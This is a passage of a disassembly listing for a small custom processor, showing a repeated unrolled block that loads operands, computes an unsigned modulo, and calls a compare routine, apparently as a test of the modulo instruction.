6efc: 10 40 01 08 ld32 r8,r8
6f00: 0d 43 2e 1c wl16 r16,0x197c
6f04: 0d 60 02 03 wh16 r16,0x3
6f08: 10 40 02 10 ld32 r16,r16
6f0c: 0d 45 4d 38 wl16 r9,0x2a78
6f10: 0d 60 01 23 wh16 r9,0x3
6f14: 10 40 01 29 ld32 r9,r9
6f18: 00 a0 01 10 umod r8,r16
6f1c: 20 70 03 e2 movepc rret,8
6f20: 14 30 e4 3c br 10 <compare>,#al
6f24: 00 10 00 41 add r2,1
6f28: 0d 41 11 04 wl16 r8,0x884
6f2c: 0d 60 01 03 wh16 r8,0x3
6f30: 10 40 01 08 ld32 r8,r8
6f34: 0d 43 32 00 wl16 r16,0x1980
6f38: 0d 60 02 03 wh16 r16,0x3
6f3c: 10 40 02 10 ld32 r16,r16
6f40: 0d 45 4d 3c wl16 r9,0x2a7c
6f44: 0d 60 01 23 wh16 r9,0x3
6f48: 10 40 01 29 ld32 r9,r9
6f4c: 00 a0 01 10 umod r8,r16
6f50: 20 70 03 e2 movepc rret,8
6f54: 14 30 e4 2f br 10 <compare>,#al
6f58: 00 10 00 41 add r2,1
6f5c: 0d 41 11 08 wl16 r8,0x888
6f60: 0d 60 01 03 wh16 r8,0x3
6f64: 10 40 01 08 ld32 r8,r8
6f68: 0d 43 32 04 wl16 r16,0x1984
6f6c: 0d 60 02 03 wh16 r16,0x3
6f70: 10 40 02 10 ld32 r16,r16
6f74: 0d 45 51 20 wl16 r9,0x2a80
6f78: 0d 60 01 23 wh16 r9,0x3
6f7c: 10 40 01 29 ld32 r9,r9
6f80: 00 a0 01 10 umod r8,r16
6f84: 20 70 03 e2 movepc rret,8
6f88: 14 30 e4 22 br 10 <compare>,#al
6f8c: 00 10 00 41 add r2,1
6f90: 0d 41 11 0c wl16 r8,0x88c
6f94: 0d 60 01 03 wh16 r8,0x3
6f98: 10 40 01 08 ld32 r8,r8
6f9c: 0d 43 32 08 wl16 r16,0x1988
6fa0: 0d 60 02 03 wh16 r16,0x3
6fa4: 10 40 02 10 ld32 r16,r16
6fa8: 0d 45 51 24 wl16 r9,0x2a84
6fac: 0d 60 01 23 wh16 r9,0x3
6fb0: 10 40 01 29 ld32 r9,r9
6fb4: 00 a0 01 10 umod r8,r16
6fb8: 20 70 03 e2 movepc rret,8
6fbc: 14 30 e4 15 br 10 <compare>,#al
6fc0: 00 10 00 41 add r2,1
6fc4: 0d 41 11 10 wl16 r8,0x890
6fc8: 0d 60 01 03 wh16 r8,0x3
6fcc: 10 40 01 08 ld32 r8,r8
6fd0: 0d 43 32 0c wl16 r16,0x198c
6fd4: 0d 60 02 03 wh16 r16,0x3
6fd8: 10 40 02 10 ld32 r16,r16
6fdc: 0d 45 51 28 wl16 r9,0x2a88
6fe0: 0d 60 01 23 wh16 r9,0x3
6fe4: 10 40 01 29 ld32 r9,r9
6fe8: 00 a0 01 10 umod r8,r16
6fec: 20 70 03 e2 movepc rret,8
6ff0: 14 30 e4 08 br 10 <compare>,#al
6ff4: 00 10 00 41 add r2,1
6ff8: 0d 41 11 14 wl16 r8,0x894
6ffc: 0d 60 01 03 wh16 r8,0x3
7000: 10 40 01 08 ld32 r8,r8
7004: 0d 43 32 10 wl16 r16,0x1990
7008: 0d 60 02 03 wh16 r16,0x3
700c: 10 40 02 10 ld32 r16,r16
7010: 0d 45 51 2c wl16 r9,0x2a8c
7014: 0d 60 01 23 wh16 r9,0x3
7018: 10 40 01 29 ld32 r9,r9
701c: 00 a0 01 10 umod r8,r16
7020: 20 70 03 e2 movepc rret,8
7024: 14 30 e3 fb br 10 <compare>,#al
7028: 00 10 00 41 add r2,1
702c: 0d 41 11 18 wl16 r8,0x898
7030: 0d 60 01 03 wh16 r8,0x3
7034: 10 40 01 08 ld32 r8,r8
7038: 0d 43 32 14 wl16 r16,0x1994
703c: 0d 60 02 03 wh16 r16,0x3
7040: 10 40 02 10 ld32 r16,r16
7044: 0d 45 51 30 wl16 r9,0x2a90
7048: 0d 60 01 23 wh16 r9,0x3
704c: 10 40 01 29 ld32 r9,r9
7050: 00 a0 01 10 umod r8,r16
7054: 20 70 03 e2 movepc rret,8
7058: 14 30 e3 ee br 10 <compare>,#al
705c: 00 10 00 41 add r2,1
7060: 0d 41 11 1c wl16 r8,0x89c
7064: 0d 60 01 03 wh16 r8,0x3
7068: 10 40 01 08 ld32 r8,r8
706c: 0d 43 32 18 wl16 r16,0x1998
7070: 0d 60 02 03 wh16 r16,0x3
7074: 10 40 02 10 ld32 r16,r16
7078: 0d 45 51 34 wl16 r9,0x2a94
707c: 0d 60 01 23 wh16 r9,0x3
7080: 10 40 01 29 ld32 r9,r9
7084: 00 a0 01 10 umod r8,r16
7088: 20 70 03 e2 movepc rret,8
708c: 14 30 e3 e1 br 10 <compare>,#al
7090: 00 10 00 41 add r2,1
7094: 0d 41 15 00 wl16 r8,0x8a0
7098: 0d 60 01 03 wh16 r8,0x3
709c: 10 40 01 08 ld32 r8,r8
70a0: 0d 43 32 1c wl16 r16,0x199c
70a4: 0d 60 02 03 wh16 r16,0x3
70a8: 10 40 02 10 ld32 r16,r16
70ac: 0d 45 51 38 wl16 r9,0x2a98
70b0: 0d 60 01 23 wh16 r9,0x3
70b4: 10 40 01 29 ld32 r9,r9
70b8: 00 a0 01 10 umod r8,r16
70bc: 20 70 03 e2 movepc rret,8
70c0: 14 30 e3 d4 br 10 <compare>,#al
70c4: 00 10 00 41 add r2,1
70c8: 0d 41 15 04 wl16 r8,0x8a4
70cc: 0d 60 01 03 wh16 r8,0x3
70d0: 10 40 01 08 ld32 r8,r8
70d4: 0d 43 36 00 wl16 r16,0x19a0
70d8: 0d 60 02 03 wh16 r16,0x3
70dc: 10 40 02 10 ld32 r16,r16
70e0: 0d 45 51 3c wl16 r9,0x2a9c
70e4: 0d 60 01 23 wh16 r9,0x3
70e8: 10 40 01 29 ld32 r9,r9
70ec: 00 a0 01 10 umod r8,r16
70f0: 20 70 03 e2 movepc rret,8
70f4: 14 30 e3 c7 br 10 <compare>,#al
70f8: 00 10 00 41 add r2,1
70fc: 0d 41 15 08 wl16 r8,0x8a8
7100: 0d 60 01 03 wh16 r8,0x3
7104: 10 40 01 08 ld32 r8,r8
7108: 0d 43 36 04 wl16 r16,0x19a4
710c: 0d 60 02 03 wh16 r16,0x3
7110: 10 40 02 10 ld32 r16,r16
7114: 0d 45 55 20 wl16 r9,0x2aa0
7118: 0d 60 01 23 wh16 r9,0x3
711c: 10 40 01 29 ld32 r9,r9
7120: 00 a0 01 10 umod r8,r16
7124: 20 70 03 e2 movepc rret,8
7128: 14 30 e3 ba br 10 <compare>,#al
712c: 00 10 00 41 add r2,1
7130: 0d 41 15 0c wl16 r8,0x8ac
7134: 0d 60 01 03 wh16 r8,0x3
7138: 10 40 01 08 ld32 r8,r8
713c: 0d 43 36 08 wl16 r16,0x19a8
7140: 0d 60 02 03 wh16 r16,0x3
7144: 10 40 02 10 ld32 r16,r16
7148: 0d 45 55 24 wl16 r9,0x2aa4
714c: 0d 60 01 23 wh16 r9,0x3
7150: 10 40 01 29 ld32 r9,r9
7154: 00 a0 01 10 umod r8,r16
7158: 20 70 03 e2 movepc rret,8
715c: 14 30 e3 ad br 10 <compare>,#al
7160: 00 10 00 41 add r2,1
7164: 0d 41 15 10 wl16 r8,0x8b0
7168: 0d 60 01 03 wh16 r8,0x3
716c: 10 40 01 08 ld32 r8,r8
7170: 0d 43 36 0c wl16 r16,0x19ac
7174: 0d 60 02 03 wh16 r16,0x3
7178: 10 40 02 10 ld32 r16,r16
717c: 0d 45 55 28 wl16 r9,0x2aa8
7180: 0d 60 01 23 wh16 r9,0x3
7184: 10 40 01 29 ld32 r9,r9
7188: 00 a0 01 10 umod r8,r16
718c: 20 70 03 e2 movepc rret,8
7190: 14 30 e3 a0 br 10 <compare>,#al
7194: 00 10 00 41 add r2,1
7198: 0d 41 15 14 wl16 r8,0x8b4
719c: 0d 60 01 03 wh16 r8,0x3
71a0: 10 40 01 08 ld32 r8,r8
71a4: 0d 43 36 10 wl16 r16,0x19b0
71a8: 0d 60 02 03 wh16 r16,0x3
71ac: 10 40 02 10 ld32 r16,r16
71b0: 0d 45 55 2c wl16 r9,0x2aac
71b4: 0d 60 01 23 wh16 r9,0x3
71b8: 10 40 01 29 ld32 r9,r9
71bc: 00 a0 01 10 umod r8,r16
71c0: 20 70 03 e2 movepc rret,8
71c4: 14 30 e3 93 br 10 <compare>,#al
71c8: 00 10 00 41 add r2,1
71cc: 0d 41 15 18 wl16 r8,0x8b8
71d0: 0d 60 01 03 wh16 r8,0x3
71d4: 10 40 01 08 ld32 r8,r8
71d8: 0d 43 36 14 wl16 r16,0x19b4
71dc: 0d 60 02 03 wh16 r16,0x3
71e0: 10 40 02 10 ld32 r16,r16
71e4: 0d 45 55 30 wl16 r9,0x2ab0
71e8: 0d 60 01 23 wh16 r9,0x3
71ec: 10 40 01 29 ld32 r9,r9
71f0: 00 a0 01 10 umod r8,r16
71f4: 20 70 03 e2 movepc rret,8
71f8: 14 30 e3 86 br 10 <compare>,#al
71fc: 00 10 00 41 add r2,1
7200: 0d 41 15 1c wl16 r8,0x8bc
7204: 0d 60 01 03 wh16 r8,0x3
7208: 10 40 01 08 ld32 r8,r8
720c: 0d 43 36 18 wl16 r16,0x19b8
7210: 0d 60 02 03 wh16 r16,0x3
7214: 10 40 02 10 ld32 r16,r16
7218: 0d 45 55 34 wl16 r9,0x2ab4
721c: 0d 60 01 23 wh16 r9,0x3
7220: 10 40 01 29 ld32 r9,r9
7224: 00 a0 01 10 umod r8,r16
7228: 20 70 03 e2 movepc rret,8
722c: 14 30 e3 79 br 10 <compare>,#al
7230: 00 10 00 41 add r2,1
7234: 0d 41 19 00 wl16 r8,0x8c0
7238: 0d 60 01 03 wh16 r8,0x3
723c: 10 40 01 08 ld32 r8,r8
7240: 0d 43 36 1c wl16 r16,0x19bc
7244: 0d 60 02 03 wh16 r16,0x3
7248: 10 40 02 10 ld32 r16,r16
724c: 0d 45 55 38 wl16 r9,0x2ab8
7250: 0d 60 01 23 wh16 r9,0x3
7254: 10 40 01 29 ld32 r9,r9
7258: 00 a0 01 10 umod r8,r16
725c: 20 70 03 e2 movepc rret,8
7260: 14 30 e3 6c br 10 <compare>,#al
7264: 00 10 00 41 add r2,1
7268: 0d 41 19 04 wl16 r8,0x8c4
726c: 0d 60 01 03 wh16 r8,0x3
7270: 10 40 01 08 ld32 r8,r8
7274: 0d 43 3a 00 wl16 r16,0x19c0
7278: 0d 60 02 03 wh16 r16,0x3
727c: 10 40 02 10 ld32 r16,r16
7280: 0d 45 55 3c wl16 r9,0x2abc
7284: 0d 60 01 23 wh16 r9,0x3
7288: 10 40 01 29 ld32 r9,r9
728c: 00 a0 01 10 umod r8,r16
7290: 20 70 03 e2 movepc rret,8
7294: 14 30 e3 5f br 10 <compare>,#al
7298: 00 10 00 41 add r2,1
729c: 0d 41 19 08 wl16 r8,0x8c8
72a0: 0d 60 01 03 wh16 r8,0x3
72a4: 10 40 01 08 ld32 r8,r8
72a8: 0d 43 3a 04 wl16 r16,0x19c4
72ac: 0d 60 02 03 wh16 r16,0x3
72b0: 10 40 02 10 ld32 r16,r16
72b4: 0d 45 59 20 wl16 r9,0x2ac0
72b8: 0d 60 01 23 wh16 r9,0x3
72bc: 10 40 01 29 ld32 r9,r9
72c0: 00 a0 01 10 umod r8,r16
72c4: 20 70 03 e2 movepc rret,8
72c8: 14 30 e3 52 br 10 <compare>,#al
72cc: 00 10 00 41 add r2,1
72d0: 0d 41 19 0c wl16 r8,0x8cc
72d4: 0d 60 01 03 wh16 r8,0x3
72d8: 10 40 01 08 ld32 r8,r8
72dc: 0d 43 3a 08 wl16 r16,0x19c8
72e0: 0d 60 02 03 wh16 r16,0x3
72e4: 10 40 02 10 ld32 r16,r16
72e8: 0d 45 59 24 wl16 r9,0x2ac4
72ec: 0d 60 01 23 wh16 r9,0x3
72f0: 10 40 01 29 ld32 r9,r9
72f4: 00 a0 01 10 umod r8,r16
72f8: 20 70 03 e2 movepc rret,8
72fc: 14 30 e3 45 br 10 <compare>,#al
7300: 00 10 00 41 add r2,1
7304: 0d 41 19 10 wl16 r8,0x8d0
7308: 0d 60 01 03 wh16 r8,0x3
730c: 10 40 01 08 ld32 r8,r8
7310: 0d 43 3a 0c wl16 r16,0x19cc
7314: 0d 60 02 03 wh16 r16,0x3
7318: 10 40 02 10 ld32 r16,r16
731c: 0d 45 59 28 wl16 r9,0x2ac8
7320: 0d 60 01 23 wh16 r9,0x3
7324: 10 40 01 29 ld32 r9,r9
7328: 00 a0 01 10 umod r8,r16
732c: 20 70 03 e2 movepc rret,8
7330: 14 30 e3 38 br 10 <compare>,#al
7334: 00 10 00 41 add r2,1
7338: 0d 41 19 14 wl16 r8,0x8d4
733c: 0d 60 01 03 wh16 r8,0x3
7340: 10 40 01 08 ld32 r8,r8
7344: 0d 43 3a 10 wl16 r16,0x19d0
7348: 0d 60 02 03 wh16 r16,0x3
734c: 10 40 02 10 ld32 r16,r16
7350: 0d 45 59 2c wl16 r9,0x2acc
7354: 0d 60 01 23 wh16 r9,0x3
7358: 10 40 01 29 ld32 r9,r9
735c: 00 a0 01 10 umod r8,r16
7360: 20 70 03 e2 movepc rret,8
7364: 14 30 e3 2b br 10 <compare>,#al
7368: 00 10 00 41 add r2,1
736c: 0d 41 19 18 wl16 r8,0x8d8
7370: 0d 60 01 03 wh16 r8,0x3
7374: 10 40 01 08 ld32 r8,r8
7378: 0d 43 3a 14 wl16 r16,0x19d4
737c: 0d 60 02 03 wh16 r16,0x3
7380: 10 40 02 10 ld32 r16,r16
7384: 0d 45 59 30 wl16 r9,0x2ad0
7388: 0d 60 01 23 wh16 r9,0x3
738c: 10 40 01 29 ld32 r9,r9
7390: 00 a0 01 10 umod r8,r16
7394: 20 70 03 e2 movepc rret,8
7398: 14 30 e3 1e br 10 <compare>,#al
739c: 00 10 00 41 add r2,1
73a0: 0d 41 19 1c wl16 r8,0x8dc
73a4: 0d 60 01 03 wh16 r8,0x3
73a8: 10 40 01 08 ld32 r8,r8
73ac: 0d 43 3a 18 wl16 r16,0x19d8
73b0: 0d 60 02 03 wh16 r16,0x3
73b4: 10 40 02 10 ld32 r16,r16
73b8: 0d 45 59 34 wl16 r9,0x2ad4
73bc: 0d 60 01 23 wh16 r9,0x3
73c0: 10 40 01 29 ld32 r9,r9
73c4: 00 a0 01 10 umod r8,r16
73c8: 20 70 03 e2 movepc rret,8
73cc: 14 30 e3 11 br 10 <compare>,#al
73d0: 00 10 00 41 add r2,1
73d4: 0d 41 1d 00 wl16 r8,0x8e0
73d8: 0d 60 01 03 wh16 r8,0x3
73dc: 10 40 01 08 ld32 r8,r8
73e0: 0d 43 3a 1c wl16 r16,0x19dc
73e4: 0d 60 02 03 wh16 r16,0x3
73e8: 10 40 02 10 ld32 r16,r16
73ec: 0d 45 59 38 wl16 r9,0x2ad8
73f0: 0d 60 01 23 wh16 r9,0x3
73f4: 10 40 01 29 ld32 r9,r9
73f8: 00 a0 01 10 umod r8,r16
73fc: 20 70 03 e2 movepc rret,8
7400: 14 30 e3 04 br 10 <compare>,#al
7404: 00 10 00 41 add r2,1
7408: 0d 41 1d 04 wl16 r8,0x8e4
740c: 0d 60 01 03 wh16 r8,0x3
7410: 10 40 01 08 ld32 r8,r8
7414: 0d 43 3e 00 wl16 r16,0x19e0
7418: 0d 60 02 03 wh16 r16,0x3
741c: 10 40 02 10 ld32 r16,r16
7420: 0d 45 59 3c wl16 r9,0x2adc
7424: 0d 60 01 23 wh16 r9,0x3
7428: 10 40 01 29 ld32 r9,r9
742c: 00 a0 01 10 umod r8,r16
7430: 20 70 03 e2 movepc rret,8
7434: 14 30 e2 f7 br 10 <compare>,#al
7438: 00 10 00 41 add r2,1
743c: 0d 41 1d 08 wl16 r8,0x8e8
7440: 0d 60 01 03 wh16 r8,0x3
7444: 10 40 01 08 ld32 r8,r8
7448: 0d 43 3e 04 wl16 r16,0x19e4
744c: 0d 60 02 03 wh16 r16,0x3
7450: 10 40 02 10 ld32 r16,r16
7454: 0d 45 5d 20 wl16 r9,0x2ae0
7458: 0d 60 01 23 wh16 r9,0x3
745c: 10 40 01 29 ld32 r9,r9
7460: 00 a0 01 10 umod r8,r16
7464: 20 70 03 e2 movepc rret,8
7468: 14 30 e2 ea br 10 <compare>,#al
746c: 00 10 00 41 add r2,1
7470: 0d 41 1d 0c wl16 r8,0x8ec
7474: 0d 60 01 03 wh16 r8,0x3
7478: 10 40 01 08 ld32 r8,r8
747c: 0d 43 3e 08 wl16 r16,0x19e8
7480: 0d 60 02 03 wh16 r16,0x3
7484: 10 40 02 10 ld32 r16,r16
7488: 0d 45 5d 24 wl16 r9,0x2ae4
748c: 0d 60 01 23 wh16 r9,0x3
7490: 10 40 01 29 ld32 r9,r9
7494: 00 a0 01 10 umod r8,r16
7498: 20 70 03 e2 movepc rret,8
749c: 14 30 e2 dd br 10 <compare>,#al
74a0: 00 10 00 41 add r2,1
74a4: 0d 41 1d 10 wl16 r8,0x8f0
74a8: 0d 60 01 03 wh16 r8,0x3
74ac: 10 40 01 08 ld32 r8,r8
74b0: 0d 43 3e 0c wl16 r16,0x19ec
74b4: 0d 60 02 03 wh16 r16,0x3
74b8: 10 40 02 10 ld32 r16,r16
74bc: 0d 45 5d 28 wl16 r9,0x2ae8
74c0: 0d 60 01 23 wh16 r9,0x3
74c4: 10 40 01 29 ld32 r9,r9
74c8: 00 a0 01 10 umod r8,r16
74cc: 20 70 03 e2 movepc rret,8
74d0: 14 30 e2 d0 br 10 <compare>,#al
74d4: 00 10 00 41 add r2,1
74d8: 0d 41 1d 14 wl16 r8,0x8f4
74dc: 0d 60 01 03 wh16 r8,0x3
74e0: 10 40 01 08 ld32 r8,r8
74e4: 0d 43 3e 10 wl16 r16,0x19f0
74e8: 0d 60 02 03 wh16 r16,0x3
74ec: 10 40 02 10 ld32 r16,r16
74f0: 0d 45 5d 2c wl16 r9,0x2aec
74f4: 0d 60 01 23 wh16 r9,0x3
74f8: 10 40 01 29 ld32 r9,r9
74fc: 00 a0 01 10 umod r8,r16
7500: 20 70 03 e2 movepc rret,8
7504: 14 30 e2 c3 br 10 <compare>,#al
7508: 00 10 00 41 add r2,1
750c: 0d 41 1d 18 wl16 r8,0x8f8
7510: 0d 60 01 03 wh16 r8,0x3
7514: 10 40 01 08 ld32 r8,r8
7518: 0d 43 3e 14 wl16 r16,0x19f4
751c: 0d 60 02 03 wh16 r16,0x3
7520: 10 40 02 10 ld32 r16,r16
7524: 0d 45 5d 30 wl16 r9,0x2af0
7528: 0d 60 01 23 wh16 r9,0x3
752c: 10 40 01 29 ld32 r9,r9
7530: 00 a0 01 10 umod r8,r16
7534: 20 70 03 e2 movepc rret,8
7538: 14 30 e2 b6 br 10 <compare>,#al
753c: 00 10 00 41 add r2,1
7540: 0d 41 1d 1c wl16 r8,0x8fc
7544: 0d 60 01 03 wh16 r8,0x3
7548: 10 40 01 08 ld32 r8,r8
754c: 0d 43 3e 18 wl16 r16,0x19f8
7550: 0d 60 02 03 wh16 r16,0x3
7554: 10 40 02 10 ld32 r16,r16
7558: 0d 45 5d 34 wl16 r9,0x2af4
755c: 0d 60 01 23 wh16 r9,0x3
7560: 10 40 01 29 ld32 r9,r9
7564: 00 a0 01 10 umod r8,r16
7568: 20 70 03 e2 movepc rret,8
756c: 14 30 e2 a9 br 10 <compare>,#al
7570: 00 10 00 41 add r2,1
7574: 0d 41 21 00 wl16 r8,0x900
7578: 0d 60 01 03 wh16 r8,0x3
757c: 10 40 01 08 ld32 r8,r8
7580: 0d 43 3e 1c wl16 r16,0x19fc
7584: 0d 60 02 03 wh16 r16,0x3
7588: 10 40 02 10 ld32 r16,r16
758c: 0d 45 5d 38 wl16 r9,0x2af8
7590: 0d 60 01 23 wh16 r9,0x3
7594: 10 40 01 29 ld32 r9,r9
7598: 00 a0 01 10 umod r8,r16
759c: 20 70 03 e2 movepc rret,8
75a0: 14 30 e2 9c br 10 <compare>,#al
75a4: 00 10 00 41 add r2,1
75a8: 0d 41 21 04 wl16 r8,0x904
75ac: 0d 60 01 03 wh16 r8,0x3
75b0: 10 40 01 08 ld32 r8,r8
75b4: 0d 43 42 00 wl16 r16,0x1a00
75b8: 0d 60 02 03 wh16 r16,0x3
75bc: 10 40 02 10 ld32 r16,r16
75c0: 0d 45 5d 3c wl16 r9,0x2afc
75c4: 0d 60 01 23 wh16 r9,0x3
75c8: 10 40 01 29 ld32 r9,r9
75cc: 00 a0 01 10 umod r8,r16
75d0: 20 70 03 e2 movepc rret,8
75d4: 14 30 e2 8f br 10 <compare>,#al
75d8: 00 10 00 41 add r2,1
75dc: 0d 41 21 08 wl16 r8,0x908
75e0: 0d 60 01 03 wh16 r8,0x3
75e4: 10 40 01 08 ld32 r8,r8
75e8: 0d 43 42 04 wl16 r16,0x1a04
75ec: 0d 60 02 03 wh16 r16,0x3
75f0: 10 40 02 10 ld32 r16,r16
75f4: 0d 45 61 20 wl16 r9,0x2b00
75f8: 0d 60 01 23 wh16 r9,0x3
75fc: 10 40 01 29 ld32 r9,r9
7600: 00 a0 01 10 umod r8,r16
7604: 20 70 03 e2 movepc rret,8
7608: 14 30 e2 82 br 10 <compare>,#al
760c: 00 10 00 41 add r2,1
7610: 0d 41 21 0c wl16 r8,0x90c
7614: 0d 60 01 03 wh16 r8,0x3
7618: 10 40 01 08 ld32 r8,r8
761c: 0d 43 42 08 wl16 r16,0x1a08
7620: 0d 60 02 03 wh16 r16,0x3
7624: 10 40 02 10 ld32 r16,r16
7628: 0d 45 61 24 wl16 r9,0x2b04
762c: 0d 60 01 23 wh16 r9,0x3
7630: 10 40 01 29 ld32 r9,r9
7634: 00 a0 01 10 umod r8,r16
7638: 20 70 03 e2 movepc rret,8
763c: 14 30 e2 75 br 10 <compare>,#al
7640: 00 10 00 41 add r2,1
7644: 0d 41 21 10 wl16 r8,0x910
7648: 0d 60 01 03 wh16 r8,0x3
764c: 10 40 01 08 ld32 r8,r8
7650: 0d 43 42 0c wl16 r16,0x1a0c
7654: 0d 60 02 03 wh16 r16,0x3
7658: 10 40 02 10 ld32 r16,r16
765c: 0d 45 61 28 wl16 r9,0x2b08
7660: 0d 60 01 23 wh16 r9,0x3
7664: 10 40 01 29 ld32 r9,r9
7668: 00 a0 01 10 umod r8,r16
766c: 20 70 03 e2 movepc rret,8
7670: 14 30 e2 68 br 10 <compare>,#al
7674: 00 10 00 41 add r2,1
7678: 0d 41 21 14 wl16 r8,0x914
767c: 0d 60 01 03 wh16 r8,0x3
7680: 10 40 01 08 ld32 r8,r8
7684: 0d 43 42 10 wl16 r16,0x1a10
7688: 0d 60 02 03 wh16 r16,0x3
768c: 10 40 02 10 ld32 r16,r16
7690: 0d 45 61 2c wl16 r9,0x2b0c
7694: 0d 60 01 23 wh16 r9,0x3
7698: 10 40 01 29 ld32 r9,r9
769c: 00 a0 01 10 umod r8,r16
76a0: 20 70 03 e2 movepc rret,8
76a4: 14 30 e2 5b br 10 <compare>,#al
76a8: 00 10 00 41 add r2,1
76ac: 0d 41 21 18 wl16 r8,0x918
76b0: 0d 60 01 03 wh16 r8,0x3
76b4: 10 40 01 08 ld32 r8,r8
76b8: 0d 43 42 14 wl16 r16,0x1a14
76bc: 0d 60 02 03 wh16 r16,0x3
76c0: 10 40 02 10 ld32 r16,r16
76c4: 0d 45 61 30 wl16 r9,0x2b10
76c8: 0d 60 01 23 wh16 r9,0x3
76cc: 10 40 01 29 ld32 r9,r9
76d0: 00 a0 01 10 umod r8,r16
76d4: 20 70 03 e2 movepc rret,8
76d8: 14 30 e2 4e br 10 <compare>,#al
76dc: 00 10 00 41 add r2,1
76e0: 0d 41 21 1c wl16 r8,0x91c
76e4: 0d 60 01 03 wh16 r8,0x3
76e8: 10 40 01 08 ld32 r8,r8
76ec: 0d 43 42 18 wl16 r16,0x1a18
76f0: 0d 60 02 03 wh16 r16,0x3
76f4: 10 40 02 10 ld32 r16,r16
76f8: 0d 45 61 34 wl16 r9,0x2b14
76fc: 0d 60 01 23 wh16 r9,0x3
7700: 10 40 01 29 ld32 r9,r9
7704: 00 a0 01 10 umod r8,r16
7708: 20 70 03 e2 movepc rret,8
770c: 14 30 e2 41 br 10 <compare>,#al
7710: 00 10 00 41 add r2,1
7714: 0d 41 25 00 wl16 r8,0x920
7718: 0d 60 01 03 wh16 r8,0x3
771c: 10 40 01 08 ld32 r8,r8
7720: 0d 43 42 1c wl16 r16,0x1a1c
7724: 0d 60 02 03 wh16 r16,0x3
7728: 10 40 02 10 ld32 r16,r16
772c: 0d 45 61 38 wl16 r9,0x2b18
7730: 0d 60 01 23 wh16 r9,0x3
7734: 10 40 01 29 ld32 r9,r9
7738: 00 a0 01 10 umod r8,r16
773c: 20 70 03 e2 movepc rret,8
7740: 14 30 e2 34 br 10 <compare>,#al
7744: 00 10 00 41 add r2,1
7748: 0d 41 25 04 wl16 r8,0x924
774c: 0d 60 01 03 wh16 r8,0x3
7750: 10 40 01 08 ld32 r8,r8
7754: 0d 43 46 00 wl16 r16,0x1a20
7758: 0d 60 02 03 wh16 r16,0x3
775c: 10 40 02 10 ld32 r16,r16
7760: 0d 45 61 3c wl16 r9,0x2b1c
7764: 0d 60 01 23 wh16 r9,0x3
7768: 10 40 01 29 ld32 r9,r9
776c: 00 a0 01 10 umod r8,r16
7770: 20 70 03 e2 movepc rret,8
7774: 14 30 e2 27 br 10 <compare>,#al
7778: 00 10 00 41 add r2,1
777c: 0d 41 25 08 wl16 r8,0x928
7780: 0d 60 01 03 wh16 r8,0x3
7784: 10 40 01 08 ld32 r8,r8
7788: 0d 43 46 04 wl16 r16,0x1a24
778c: 0d 60 02 03 wh16 r16,0x3
7790: 10 40 02 10 ld32 r16,r16
7794: 0d 45 65 20 wl16 r9,0x2b20
7798: 0d 60 01 23 wh16 r9,0x3
779c: 10 40 01 29 ld32 r9,r9
77a0: 00 a0 01 10 umod r8,r16
77a4: 20 70 03 e2 movepc rret,8
77a8: 14 30 e2 1a br 10 <compare>,#al
77ac: 00 10 00 41 add r2,1
77b0: 0d 41 25 0c wl16 r8,0x92c
77b4: 0d 60 01 03 wh16 r8,0x3
77b8: 10 40 01 08 ld32 r8,r8
77bc: 0d 43 46 08 wl16 r16,0x1a28
77c0: 0d 60 02 03 wh16 r16,0x3
77c4: 10 40 02 10 ld32 r16,r16
77c8: 0d 45 65 24 wl16 r9,0x2b24
77cc: 0d 60 01 23 wh16 r9,0x3
77d0: 10 40 01 29 ld32 r9,r9
77d4: 00 a0 01 10 umod r8,r16
77d8: 20 70 03 e2 movepc rret,8
77dc: 14 30 e2 0d br 10 <compare>,#al
77e0: 00 10 00 41 add r2,1
77e4: 0d 41 25 10 wl16 r8,0x930
77e8: 0d 60 01 03 wh16 r8,0x3
77ec: 10 40 01 08 ld32 r8,r8
77f0: 0d 43 46 0c wl16 r16,0x1a2c
77f4: 0d 60 02 03 wh16 r16,0x3
77f8: 10 40 02 10 ld32 r16,r16
77fc: 0d 45 65 28 wl16 r9,0x2b28
7800: 0d 60 01 23 wh16 r9,0x3
7804: 10 40 01 29 ld32 r9,r9
7808: 00 a0 01 10 umod r8,r16
780c: 20 70 03 e2 movepc rret,8
7810: 14 30 e2 00 br 10 <compare>,#al
7814: 00 10 00 41 add r2,1
7818: 0d 41 25 14 wl16 r8,0x934
781c: 0d 60 01 03 wh16 r8,0x3
7820: 10 40 01 08 ld32 r8,r8
7824: 0d 43 46 10 wl16 r16,0x1a30
7828: 0d 60 02 03 wh16 r16,0x3
782c: 10 40 02 10 ld32 r16,r16
7830: 0d 45 65 2c wl16 r9,0x2b2c
7834: 0d 60 01 23 wh16 r9,0x3
7838: 10 40 01 29 ld32 r9,r9
783c: 00 a0 01 10 umod r8,r16
7840: 20 70 03 e2 movepc rret,8
7844: 14 30 e1 f3 br 10 <compare>,#al
7848: 00 10 00 41 add r2,1
784c: 0d 41 25 18 wl16 r8,0x938
7850: 0d 60 01 03 wh16 r8,0x3
7854: 10 40 01 08 ld32 r8,r8
7858: 0d 43 46 14 wl16 r16,0x1a34
785c: 0d 60 02 03 wh16 r16,0x3
7860: 10 40 02 10 ld32 r16,r16
7864: 0d 45 65 30 wl16 r9,0x2b30
7868: 0d 60 01 23 wh16 r9,0x3
786c: 10 40 01 29 ld32 r9,r9
7870: 00 a0 01 10 umod r8,r16
7874: 20 70 03 e2 movepc rret,8
7878: 14 30 e1 e6 br 10 <compare>,#al
787c: 00 10 00 41 add r2,1
7880: 0d 41 25 1c wl16 r8,0x93c
7884: 0d 60 01 03 wh16 r8,0x3
7888: 10 40 01 08 ld32 r8,r8
788c: 0d 43 46 18 wl16 r16,0x1a38
7890: 0d 60 02 03 wh16 r16,0x3
7894: 10 40 02 10 ld32 r16,r16
7898: 0d 45 65 34 wl16 r9,0x2b34
789c: 0d 60 01 23 wh16 r9,0x3
78a0: 10 40 01 29 ld32 r9,r9
78a4: 00 a0 01 10 umod r8,r16
78a8: 20 70 03 e2 movepc rret,8
78ac: 14 30 e1 d9 br 10 <compare>,#al
78b0: 00 10 00 41 add r2,1
78b4: 0d 41 29 00 wl16 r8,0x940
78b8: 0d 60 01 03 wh16 r8,0x3
78bc: 10 40 01 08 ld32 r8,r8
78c0: 0d 43 46 1c wl16 r16,0x1a3c
78c4: 0d 60 02 03 wh16 r16,0x3
78c8: 10 40 02 10 ld32 r16,r16
78cc: 0d 45 65 38 wl16 r9,0x2b38
78d0: 0d 60 01 23 wh16 r9,0x3
78d4: 10 40 01 29 ld32 r9,r9
78d8: 00 a0 01 10 umod r8,r16
78dc: 20 70 03 e2 movepc rret,8
